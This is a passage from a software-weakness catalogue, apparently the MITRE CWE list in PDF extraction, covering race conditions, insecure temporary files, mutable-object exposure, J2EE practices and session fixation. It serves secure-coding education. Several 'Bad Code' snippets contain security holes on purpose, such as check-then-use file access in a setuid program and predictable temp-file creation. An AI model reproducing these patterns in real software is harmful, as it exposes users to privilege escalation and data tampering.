    return foo;
}
```

Java Example:

Bad Code

```
public class Race {
    static int foo = 0;
    public static void main() {
        new Threader().start();
        foo = 1;
    }
    public static class Threader extends Thread {
        public void run() {
            System.out.println(foo);
        }
    }
}
```

Potential Mitigations

Architecture and Design

Use locking functionality. This is the recommended solution. Implement some form of locking mechanism around code which alters or reads persistent data in a multithreaded environment.

Architecture and Design

Create resource-locking sanity checks. If no inherent locking mechanisms exist, use flags and signals to enforce your own blocking scheme when resources are being used by other threads of execution.

CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

Weakness ID: 367 (Weakness Base)

Status: Incomplete

Description

Summary

The software checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the software to perform invalid actions when the resource is in an unexpected state.

Extended Description

This weakness can be security-relevant when an attacker can influence the state of the resource between check and use. This can happen with shared resources such as files, memory, or even variables in multithreaded programs.

Alternate Terms

TOCTTOU

The TOCTTOU acronym expands to "Time Of Check To Time Of Use".

TOCCTOU

The TOCCTOU acronym is most likely a typo of TOCTTOU, but it has been used in some influential documents, so the typo is repeated fairly frequently.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Other

Alter execution logic

Unexpected state

The attacker can gain access to otherwise unauthorized resources.

Integrity

Other

Modify application data

Modify files or directories

Modify memory

Other

Race conditions such as this kind may be employed to gain read or write access to resources which are not normally readable or writable by the user in question.

Integrity

Other

Other

The resource in question, or other resources (through the corrupted one), may be changed in undesirable ways by a malicious user.

Non-Repudiation

Hide activities

If a file or other resource is written in this method, as opposed to in a valid way, logging of the activity may not occur.

Non-Repudiation

Other

Other

In some cases it may be possible to delete files a malicious user might not otherwise have access to, such as log files.

Likelihood of Exploit

Medium

Demonstrative Examples

Example 1:

The following code checks a file, then updates its contents.

C Example:

Bad Code

```
struct stat *sb;
...
lstat(".",sb); // it has not been updated since the last time it was read
printf("stated file\n");
if (sb->st_mtimespec==...){
    print("Now updating things\n");
```

```
updateThings();
}
```

Potentially the file could have been updated between the time of the check and the lstat, especially since the printf has latency.

Example 2:

The following code is from a program installed setuid root. The program performs certain file operations on behalf of non-privileged users, and uses access checks to ensure that it does not use its root privileges to perform operations that should otherwise be unavailable the current user. The program uses the access() system call to check if the person running the program has permission to access the specified file before it opens the file and performs the necessary operations.

C Example:

Bad Code

```
if(!access(file,W_OK)) {
    f = fopen(file,"w+");
    operate(f);
    ...
}
else {
    fprintf(stderr,"Unable to open file %s.\n",file);
}
```

The call to access() behaves as expected, and returns 0 if the user running the program has the necessary permissions to write to the file, and -1 otherwise. However, because both access() and fopen() operate on filenames rather than on file handles, there is no guarantee that the file variable still refers to the same file on disk when it is passed to fopen() that it did when it was passed to access(). If an attacker replaces file after the call to access() with a symbolic link to a different file, the program will use its root privileges to operate on the file even if it is a file that the attacker would otherwise be unable to modify. By tricking the program into performing an operation that would otherwise be impermissible, the attacker has gained elevated privileges. This type of vulnerability is not limited to programs with root privileges. If the application is capable of performing any operation that the attacker would not otherwise be allowed perform, then it is a possible target.

Example 3:

This code prints the contents of a file if a user has permission.

PHP Example:

Bad Code

```
function readFile($filename){
    $user = getCurrentUser();
    //resolve file if its a symbolic link
    if(is_link($filename)){
        $filename = readlink($filename);
    }
    if(fileowner($filename) == $user){
        echo file_get_contents($realFile);
        return;
    }
    else{
        echo 'Access denied';
        return false;
    }
}
```

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to is_link() and file_get_contents(), allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

Observed Examples

Reference	Description
CVE-2003-0813	A multi-threaded race condition allows remote attackers to cause a denial of service (crash or reboot) by causing two threads to process the same RPC request, which causes one thread to use memory after it has been freed.
CVE-2004-0594	PHP flaw allows remote attackers to execute arbitrary code by aborting execution before the initialization of key data structures is complete.
CVE-2008-1570	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
CVE-2008-2958	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.

Potential Mitigations

Implementation

The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.

Implementation

When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.

Architecture and Design

Limit the interleaving of operations on files from multiple processes.

Implementation

Architecture and Design

If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.

Implementation

Recheck the resource after the use call to verify that the action was taken appropriately.

Architecture and Design

Ensure that some environmental locking mechanism can be used to protect resources effectively.

Implementation

Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.

Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		361	7PK - Time and State	700	617

CWE-368: Context Switching Race Condition

Weakness ID: 368 (Weakness Base)

Status: Draft

Description

Summary

A product performs a series of non-atomic actions to switch between contexts that cross privilege or other security boundaries, but a race condition allows an attacker to modify or misrepresent the product's behavior during the switch.

Extended Description

This is commonly seen in web browser vulnerabilities in which the attacker can perform certain actions while the browser is transitioning from a trusted to an untrusted domain, or vice versa, and the browser performs the actions on one domain using the trust level and resources of the other domain.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Confidentiality

Modify application data

Read application data

Observed Examples

Reference	Description
CVE-2004-0191	XSS when web browser executes Javascript events in the context of a new page while it's being loaded, allowing interaction with previous page in different domain.
CVE-2004-2260	Browser updates address bar as soon as user clicks on a link instead of when the page has loaded, allowing spoofing by redirecting to another page using onUnload method. ** this is one example of the role of "hooks" and context switches, and should be captured somehow - also a race condition of sorts **

Reference	Description
CVE-2004-2491	Web browser fills in address bar of clicked-on link before page has been loaded, and doesn't update afterward.
CVE-2009-1837	Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416)

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

This weakness can be primary to almost anything, depending on the context of the race condition.

Resultant (where the weakness is typically related to the presence of some other weaknesses)

This weakness can be resultant from insufficient compartmentalization (CWE-653), incorrect locking, improper initialization or shutdown, or a number of other weaknesses.

Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	699 1000	619
CanAlsoBe		364	Signal Handler Race Condition	1000	626
ChildOf		986	SFP Secondary Cluster: Missing Lock	888	1375

Relationship Notes

Can overlap signal handler race conditions.

Research Gaps

Under-studied as a concept. Frequency unknown; few vulnerability reports give enough detail to know when a context switching race condition is a factor.

CWE-369: Divide By Zero

Weakness ID: 369 (Weakness Base) Status: Draft

Description

Summary

The product divides a value by zero.

Extended Description

This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.

Time of Introduction

- Implementation

Common Consequences

Availability

DoS: crash / exit / restart

A Divide by Zero results in a crash.

Likelihood of Exploit

Medium

Demonstrative Examples

Example 1:

The following Java example contains a function to compute an average but does not validate that the input value used as the denominator is not zero. This will create an exception for attempting to divide by zero. If this error is not handled by Java exception handling, unexpected results can occur.

Java Example:*Bad Code*

```
public int computeAverageResponseTime (int totalTime, int numRequests) {
    return totalTime / numRequests;
}
```

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. The following Java code example will validate the input value, output an error message, and throw an exception.

Good Code

```
public int computeAverageResponseTime (int totalTime, int numRequests) throws ArithmeticException {
    if (numRequests == 0) {
        System.out.println("Division by zero attempted!");
        throw ArithmeticException;
    }
    return totalTime / numRequests;
}
```

Example 2:

The following C/C++ example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

C Example:*Bad Code*

```
double divide(double x, double y){
    return x/y;
}
```

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. If the method is called and a zero is passed as the second argument a DivideByZero error will be thrown and should be caught by the calling block with an output message indicating the error.

Good Code

```
const int DivideByZero = 10;
double divide(double x, double y){
    if (0 == y){
        throw DivideByZero;
    }
    return x/y;
}
...
try{
    divide(10, 0);
}
catch( int i){
    if(i==DivideByZero) {
        cerr<<"Divide by zero error";
    }
}
```

References

Alex Allain. "Handling Errors Exceptionally Well in C++". < <http://www.cprogramming.com/tutorial/exceptions.html> >.

Example 3:

The following C# example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting

to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

C# Example:

Bad Code

```
int Division(int x, int y){
    return (x / y);
}
```

The method can be modified to raise, catch and handle the DivideByZeroException if the input value used as the denominator is zero.

Good Code

```
int SafeDivision(int x, int y){
    try{
        return (x / y);
    }
    catch (System.DivideByZeroException dbz){
        System.Console.WriteLine("Division by zero attempted!");
        return 0;
    }
}
```

CWE-370: Missing Check for Certificate Revocation after Initial Check

Weakness ID: 370 (Weakness Variant)

Status: Draft

Description

Summary

The software does not check the revocation status of a certificate after its initial revocation check, which can cause the software to perform privileged actions even after the certificate is revoked at a later time.

Extended Description

If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Common Consequences

Access Control

Gain privileges / assume identity

Trust may be assigned to an entity who is not who it claims to be.

Integrity

Modify application data

Data from an untrusted (and possibly malicious) source may be integrated.

Confidentiality

Read application data

Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.

Likelihood of Exploit

Medium

Demonstrative Examples

The following code checks a certificate before performing an action.

C Example:

Bad Code

```
if (cert = SSL_get_peer_certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if (X509_V_OK==foo)
        //do stuff
    foo=SSL_get_verify_result(ssl);
    //do more stuff without the check.
```

While the code performs the certificate verification before each action, it does not check the result of the verification after the initial attempt. The certificate may have been revoked in the time between the privileged actions.

Potential Mitigations

Architecture and Design

Ensure that certificates are checked for revoked status before each use of a protected resource. If the certificate is checked before each access of a protected resource, the delay subject to a possible race condition becomes almost negligible and significantly reduces the risk associated with this issue.

CWE-371: State Issues

Category ID: 371 (Category) Status: Draft

Description

Summary

Weaknesses in this category are related to improper management of system state.

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	C	361	7PK - Time and State	699	617
				1003	
ParentOf	B	372	Incomplete Internal State Distinction	699	642

ParentOf	V	585	Empty Synchronized Block	699	909
ParentOf	C	642	External Control of Critical State Data	699	975

CWE-372: Incomplete Internal State Distinction

Weakness ID: 372 (Weakness Base) Status: Draft

Description

Summary

The software does not properly determine which state it is in, causing it to assume it is in state X when in fact it is in state Y, causing it to perform incorrect operations in a security-relevant manner.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Integrity****Other****Varies by context****Unexpected state****Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		371	State Issues	699	642
ChildOf		697	Insufficient Comparison	1000	1058
ChildOf		962	SFP Secondary Cluster: Unchecked Status Condition	888	1364

Relationship Notes

This conceptually overlaps other categories such as insufficient verification, but this entry refers to the product's incorrect perception of its own state.

This is probably resultant from other weaknesses such as unhandled error conditions, inability to handle out-of-order steps, multiple interpretation errors, etc.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Incomplete Internal State Distinction

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.10)
74	Manipulating User State	

Maintenance Notes

The classification under CWE-697 is imprecise. Since this entry does not cover specific causes for why proper state is not identified, it needs deeper investigation. It is probably more like a category.

CWE-373: DEPRECATED: State Synchronization Error

Weakness ID: 373 (Deprecated Weakness Base)**Status:** Deprecated**Description****Summary**

This entry was deprecated because it overlapped the same concepts as race condition (CWE-362) and Improper Synchronization (CWE-662).

CWE-374: Passing Mutable Objects to an Untrusted Method

Weakness ID: 374 (Weakness Base)**Status:** Draft**Description****Summary**

The program sends non-cloned mutable data as an argument to a method or function.

Extended Description

The function or method that has been called can alter or delete the mutable data. This could violate assumptions that the calling function has made about its state. In situations where unknown code is called with references to mutable data, this external code could make changes to the data sent. If this data was not previously cloned, the modified data might not be valid in the context of execution.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- C
- C++
- Java
- .NET

Common Consequences

Integrity

Modify memory

Potentially data could be tampered with by another function which should not have been tampered with.

Likelihood of Exploit

Medium

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

C Example:

Bad Code

```
private:
  int foo;
  complexType bar;
  String baz;
  otherClass externalClass;
public:
  void doStuff() {
    externalClass.doOtherStuff(foo, bar, baz)
  }
```

In this example, bar and baz will be passed by reference to doOtherStuff() which may change them.

Example 2:

In the following Java example, the BookStore class manages the sale of books in a bookstore, this class includes the member objects for the bookstore inventory and sales database manager classes. The BookStore class includes a method for updating the sales database and inventory when a book is sold. This method retrieves a Book object from the bookstore inventory object using the supplied ISBN number for the book class, then calls a method for the sales object to update the sales information and then calls a method for the inventory object to update inventory for the BookStore.

Java Example:

Bad Code

```
public class BookStore {
  private BookStoreInventory inventory;
  private SalesDBManager sales;
  ...
  // constructor for BookStore
  public BookStore() {
    this.inventory = new BookStoreInventory();
    this.sales = new SalesDBManager();
  }
  ...
  public void updateSalesAndInventoryForBookSold(String bookISBN) {
    // Get book object from inventory using ISBN
    Book book = inventory.getBookWithISBN(bookISBN);
    // update sales information for book sold
    sales.updateSalesInformation(book);
    // update inventory
    inventory.updateInventory(book);
  }
  // other BookStore methods
  ...
}
public class Book {
  private String title;
  private String author;
```

```
private String isbn;
// Book object constructors and get/set methods
...
}
```

However, in this example the Book object that is retrieved and passed to the method of the sales object could have its contents modified by the method. This could cause unexpected results when the book object is sent to the method for the inventory object to update the inventory.

In the Java programming language arguments to methods are passed by value, however in the case of objects a reference to the object is passed by value to the method. When an object reference is passed as a method argument a copy of the object reference is made within the method and therefore both references point to the same object. This allows the contents of the object to be modified by the method that holds the copy of the object reference. [R.374.1]

In this case the contents of the Book object could be modified by the method of the sales object prior to the call to update the inventory.

To prevent the contents of the Book object from being modified, a copy of the Book object should be made before the method call to the sales object. In the following example a copy of the Book object is made using the clone() method and the copy of the Book object is passed to the method of the sales object. This will prevent any changes being made to the original Book object.

Java Example:

Good Code

```
...
public void updateSalesAndInventoryForBookSold(String bookISBN) {
// Get book object from inventory using ISBN
Book book = inventory.getBookWithISBN(bookISBN);
// Create copy of book object to make sure contents are not changed
Book bookSold = (Book) book.clone();
// update sales information for book sold
sales.updateSalesInformation(bookSold);
// update inventory
inventory.updateInventory(book);
}
...
```

Potential Mitigations

Implementation

Pass in data which should not be altered as constant or immutable.

Implementation

Clone all mutable data before passing it into an external function . This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

CWE-375: Returning a Mutable Object to an Untrusted Caller

Weakness ID: 375 (Weakness Base)

Status: Draft

Description

Summary

Sending non-cloned mutable data as a return value may result in that data being altered or deleted by the calling function.

Extended Description

In situations where functions return references to mutable data, it is possible that the external code which called the function may make changes to the data sent. If this data was not previously cloned, the class will then be using modified data which may violate assumptions about its internal state.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET

Common Consequences

Access Control

Integrity

Modify memory

Potentially data could be tampered with by another function which should not have been tampered with.

Likelihood of Exploit

Medium

Demonstrative Examples

This class has a private list of patients, but provides a way to see the list :

Java Example:

Bad Code

```
public class ClinicalTrial {
    private PatientClass[] patientList = new PatientClass[50];
    public getPatients(...){
        return patientList;
    }
}
```

While this code only means to allow reading of the patient list, the `getPatients()` method returns a reference to the class's original patient list instead of a reference to a copy of the list. Any caller of this method can arbitrarily modify the contents of the patient list even though it is a private member of the class.

Potential Mitigations

Implementation

Declare returned data which should not be altered as constant or immutable.

Implementation

Clone all mutable data before returning references to it. This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

ParentOf	B	379	Creation of Temporary File in Directory with Incorrect Permissions	699	651

CWE-377: Insecure Temporary File

Weakness ID: 377 (Weakness Base) Status: Incomplete

Description

Summary

Creating and using insecure temporary files can leave application and system data vulnerable to attack.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Confidentiality

Integrity

Read files or directories

Modify files or directories

Demonstrative Examples

The following code uses a temporary file for storing intermediate data gathered from the network before it is processed.

C Example:

Bad Code

```
if (tmpnam_r(filename)) {
    FILE* tmp = fopen(filename,"wb+");
    while((recv(sock,recvbuf,DATA_SIZE, 0) > 0)&(amt!=0)) amt = fwrite(recvbuf,1,DATA_SIZE,tmp);
}
```

```
}  
...
```

This otherwise unremarkable code is vulnerable to a number of different attacks because it relies on an insecure method for creating temporary files. The vulnerabilities introduced by this function and others are described in the following sections. The most egregious security problems related to temporary file creation have occurred on Unix-based operating systems, but Windows applications have parallel risks. This section includes a discussion of temporary file creation on both Unix and Windows systems. Methods and behaviors can vary between systems, but the fundamental risks introduced by each are reasonably constant.

Other Notes

Applications require temporary files so frequently that many different mechanisms exist for creating them in the C Library and Windows(R) API. Most of these functions are vulnerable to various forms of attacks.

The functions designed to aid in the creation of temporary files can be broken into two groups based whether they simply provide a filename or actually open a new file. - Group 1: "Unique" Filenames: The first group of C Library and WinAPI functions designed to help with the process of creating temporary files do so by generating a unique file name for a new temporary file, which the program is then supposed to open. This group includes C Library functions like `tmpnam()`, `tempnam()`, `mktemp()` and their C++ equivalents prefaced with an `_` (underscore) as well as the `GetTempFileName()` function from the Windows API. This group of functions suffers from an underlying race condition on the filename chosen. Although the functions guarantee that the filename is unique at the time it is selected, there is no mechanism to prevent another process or an attacker from creating a file with the same name after it is selected but before the application attempts to open the file. Beyond the risk of a legitimate collision caused by another call to the same function, there is a high probability that an attacker will be able to create a malicious collision because the filenames generated by these functions are not sufficiently randomized to make them difficult to guess. If a file with the selected name is created, then depending on how the file is opened the existing contents or access permissions of the file may remain intact. If the existing contents of the file are malicious in nature, an attacker may be able to inject dangerous data into the application when it reads data back from the temporary file. If an attacker pre-creates the file with relaxed access permissions, then data stored in the temporary file by the application may be accessed, modified or corrupted by an attacker. On Unix based systems an even more insidious attack is possible if the attacker pre-creates the file as a link to another important file. Then, if the application truncates or writes data to the file, it may unwittingly perform damaging operations for the attacker. This is an especially serious threat if the program operates with elevated permissions. Finally, in the best case the file will be opened with the a call to `open()` using the `O_CREAT` and `O_EXCL` flags or to `CreateFile()` using the `CREATE_NEW` attribute, which will fail if the file already exists and therefore prevent the types of attacks described above. However, if an attacker is able to accurately predict a sequence of temporary file names, then the application may be prevented from opening necessary temporary storage causing a denial of service (DoS) attack. This type of attack would not be difficult to mount given the small amount of randomness used in the selection of the filenames generated by these functions. - Group 2: "Unique" Files: The second group of C Library functions attempts to resolve some of the security problems related to temporary files by not only generating a unique file name, but also opening the file. This group includes C Library functions like `tmpfile()` and its C++ equivalents prefaced with an `_` (underscore), as well as the slightly better-behaved C Library function `mkstemp()`. The `tmpfile()` style functions construct a unique filename and open it in the same way that `fopen()` would if passed the flags "wb+", that is, as a binary file in read/write mode. If the file already exists, `tmpfile()` will truncate it to size zero, possibly in an attempt to assuage the security concerns mentioned earlier regarding the race condition that exists between the selection of a supposedly unique filename and the subsequent opening of the selected file. However, this behavior clearly does not solve the function's security problems. First, an attacker can pre-create the file with relaxed access-permissions that will likely be retained by the file opened by `tmpfile()`. Furthermore, on Unix based systems if the attacker pre-creates the file as a link to another important file, the application may use its possibly elevated permissions to truncate that file, thereby doing damage on behalf of the attacker. Finally, if `tmpfile()`

does create a new file, the access permissions applied to that file will vary from one operating system to another, which can leave application data vulnerable even if an attacker is unable to predict the filename to be used in advance. Finally, `mkstemp()` is a reasonably safe way create temporary files. It will attempt to create and open a unique file based on a filename template provided by the user combined with a series of randomly generated characters. If it is unable to create such a file, it will fail and return -1. On modern systems the file is opened using mode 0600, which means the file will be secure from tampering unless the user explicitly changes its access permissions. However, `mkstemp()` still suffers from the use of predictable file names and can leave an application vulnerable to denial of service attacks if an attacker causes `mkstemp()` to fail by predicting and pre-creating the filenames to be used.

CWE-378: Creation of Temporary File With Insecure Permissions

Weakness ID: 378 (Weakness Base)

Status: Draft

Description

Summary

Opening temporary files without appropriate measures or controls can leave the file, its contents and any function that it impacts vulnerable to attack.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Confidentiality

Read application data

If the temporary file can be read by the attacker, sensitive information may be in that file which could be revealed.

Authorization**Other****Other**

If that file can be written to by the attacker, the file might be moved into a place to which the attacker does not have access. This will allow the attacker to gain selective resource access-control privileges.

Integrity**Other****Other**

Depending on the data stored in the temporary file, there is the potential for an attacker to gain an additional input vector which is trusted as non-malicious. It may be possible to make arbitrary changes to data structures, user information, or even process ownership.

Likelihood of Exploit

High

Demonstrative Examples

In the following code examples a temporary file is created and written to and after using the temporary file the file is closed and deleted from the file system.

C Example:*Bad Code*

```
FILE *stream;
if( (stream = tmpfile()) == NULL ) {
    perror("Could not open new temporary file\n");
    return (-1);
}
// write data to tmp file
...
// remove tmp file
rmtmp();
```

However, within this C/C++ code the method `tmpfile()` is used to create and open the temp file. The `tmpfile()` method works the same way as the `fopen()` method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

Java Example:*Bad Code*

```
try {
    File temp = File.createTempFile("pattern", ".suffix");
    temp.deleteOnExit();
    BufferedWriter out = new BufferedWriter(new FileWriter(temp));
    out.write("aString");
    out.close();
}
catch (IOException e) {
}
```

Similarly, the `createTempFile()` method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually `/tmp` or `/var/tmp` and on Windows systems the default directory is usually `C:\\Windows\\Temp`, which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

Potential Mitigations**Requirements**

Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

Implementation

Ensure that you use proper file permissions. This can be achieved by using a safe temp file function. Temporary files should be writable and readable only by the process that owns the file.

Implementation

Randomize temporary file names. This can also be achieved by using a safe temp-file function. This will ensure that temporary files will not be created in predictable places.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	376	Temporary File Issues	699	647
ChildOf	B	377	Insecure Temporary File	1000	647
ChildOf	C	964	SFP Secondary Cluster: Exposure Temporary File	888	1367

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Improper temp file opening

CWE-379: Creation of Temporary File in Directory with Incorrect Permissions

Weakness ID: 379 (Weakness Base)

Status: Incomplete

Description**Summary**

The software creates a temporary file in a directory whose permissions allow unintended actors to determine the file's existence or otherwise access that file.

Extended Description

On some operating systems, the fact that the temporary file exists may be apparent to any user with sufficient privileges to access that directory. Since the file is visible, the application that is using the temporary file could be known. If one has access to list the processes on the system, the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user's actions are. From this, higher levels of security could be breached.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Confidentiality****Read application data**

Since the file is visible and the application which is using the temp file could be known, the attacker has gained information about what the user is doing at that time.

Likelihood of Exploit

Low

Demonstrative Examples

In the following code examples a temporary file is created and written to and after using the temporary file the file is closed and deleted from the file system.

C Example:

Bad Code

```
FILE *stream;
if( (stream = tmpfile()) == NULL ) {
    perror("Could not open new temporary file\n");
    return (-1);
}
// write data to tmp file
...
// remove tmp file
rmtmp();
```

However, within this C/C++ code the method `tmpfile()` is used to create and open the temp file. The `tmpfile()` method works the same way as the `fopen()` method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

Java Example:*Bad Code*

```
try {
    File temp = File.createTempFile("pattern", ".suffix");
    temp.deleteOnExit();
    BufferedWriter out = new BufferedWriter(new FileWriter(temp));
    out.write("aString");
    out.close();
}
catch (IOException e) {
}
```

Similarly, the `createTempFile()` method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually `/tmp` or `/var/tmp` and on Windows systems the default directory is usually `C:\\Windows\\Temp`, which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

Potential Mitigations**Requirements**

Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

Implementation

Try to store sensitive tempfiles in a directory which is not world readable -- i.e., per-user directories.

Implementation

Avoid using vulnerable temp file functions.

CWE-380: Technology-Specific Time and State Issues

Category ID: 380 (Category)

Status: Draft

Description**Summary**

Weaknesses in this category are related to improper handling of time or state within particular technologies.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	7PK - Time and State	699	617
ParentOf	C	381	J2EE Time and State Issues	699	653

CWE-381: J2EE Time and State Issues

Category ID: 381 (Category) Status: Draft

Description

Summary

Weaknesses in this category are related to improper handling of time or state within J2EE.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	380	Technology-Specific Time and State Issues	699	652
ParentOf	V	382	J2EE Bad Practices: Use of System.exit()	699	653
ParentOf	V	383	J2EE Bad Practices: Direct Use of Threads	699	654
ParentOf	V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	699	867

CWE-382: J2EE Bad Practices: Use of System.exit()

Weakness ID: 382 (Weakness Variant) Status: Draft

Description

Summary

A J2EE application uses System.exit(), which also shuts down its container.

Extended Description

It is never a good idea for a web application to attempt to shut down the application container. Access to a function that can shut down the application is an avenue for Denial of Service (DoS) attacks.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Modes of Introduction

A call to System.exit() is probably part of leftover debug code or code imported from a non-J2EE application.

Common Consequences

Availability

DoS: crash / exit / restart

Demonstrative Examples

Included in the doPost() method defined below is a call to System.exit() in the event of a specific exception.

Java Example:

Bad Code

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
        System.exit(1);
    }
}
```

Potential Mitigations

Architecture and Design**Separation of Privilege**

The shutdown function should be a privileged function available only to a properly authorized administrative user

Implementation

Web applications should not call methods that cause the virtual machine to exit, such as `System.exit()`

Implementation

Web applications should also not throw any Throwables to the application server as this may adversely affect the container.

Implementation

Non-web applications may have a `main()` method that contains a `System.exit()`, but generally should not call `System.exit()` from other locations in the code

CWE-383: J2EE Bad Practices: Direct Use of ThreadsWeakness ID: 383 (*Weakness Variant*)

Status: Draft

Description**Summary**

Thread management in a Web application is forbidden in some circumstances and is always highly error prone.

Extended Description

Thread management in a web application is forbidden by the J2EE standard in some circumstances and is always highly error prone. Managing threads is difficult and is likely to interfere in unpredictable ways with the behavior of the application container. Even without interfering with the container, thread management usually leads to bugs that are hard to detect and diagnose like deadlock, race conditions, and other synchronization errors.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms**Languages**

- Java

Common Consequences**Other****Quality degradation****Demonstrative Examples**

In the following example, a new Thread object is created and invoked directly from within the body of a doGet() method in a Java servlet.

Java Example:

Bad Code

```
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // Perform servlet tasks.
    ...
    // Create a new thread to handle background processing.
    Runnable r = new Runnable() {
        public void run() {
            // Process and store request statistics.
            ...
        }
    };
    new Thread(r).start();
}
```

Potential Mitigations

Architecture and Design

For EJB, use framework approaches for parallel execution, instead of using threads.

CWE-384: Session Fixation

Compound Element ID: 384 (Compound Element Base: Composite) **Status:** Incomplete

Description

Summary

Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.

Extended Description

Such a scenario is commonly observed when:

1. A web application authenticates a user without first invalidating the existing session, thereby continuing to use the session already associated with the user.
2. An attacker is able to force a known session identifier on a user so that, once the user authenticates, the attacker has access to the authenticated session.
3. The application or container uses predictable session identifiers. In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to associate, and possibly authenticate, against the server using that session identifier, giving the attacker access to the user's account through the active session.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

Demonstrative Examples

Example 1:

The following example shows a snippet of code from a J2EE web application where the application authenticates users with `LoginContext.login()` without first calling `HttpSession.invalidate()`.

Java Example:

Bad Code

```
private void auth(LoginContext lc, HttpSession session) throws LoginException {  
    ...  
    lc.login();  
    ...  
}
```

In order to exploit the code above, an attacker could first create a session (perhaps by logging into the application) from a public terminal, record the session identifier assigned by the application, and reset the browser to the login page. Next, a victim sits down at the same public terminal, notices the browser open to the login page of the site, and enters credentials to authenticate against the application. The code responsible for authenticating the victim continues to use the pre-existing session identifier, now the attacker simply uses the session identifier recorded earlier to access the victim's active session, providing nearly unrestricted access to the victim's account for the lifetime of the session. Even given a vulnerable application, the success of the specific attack described here is dependent on several factors working in the favor of the attacker: access to an unmonitored public terminal, the ability to keep the compromised session active and a victim interested in logging into the vulnerable application on the public terminal.

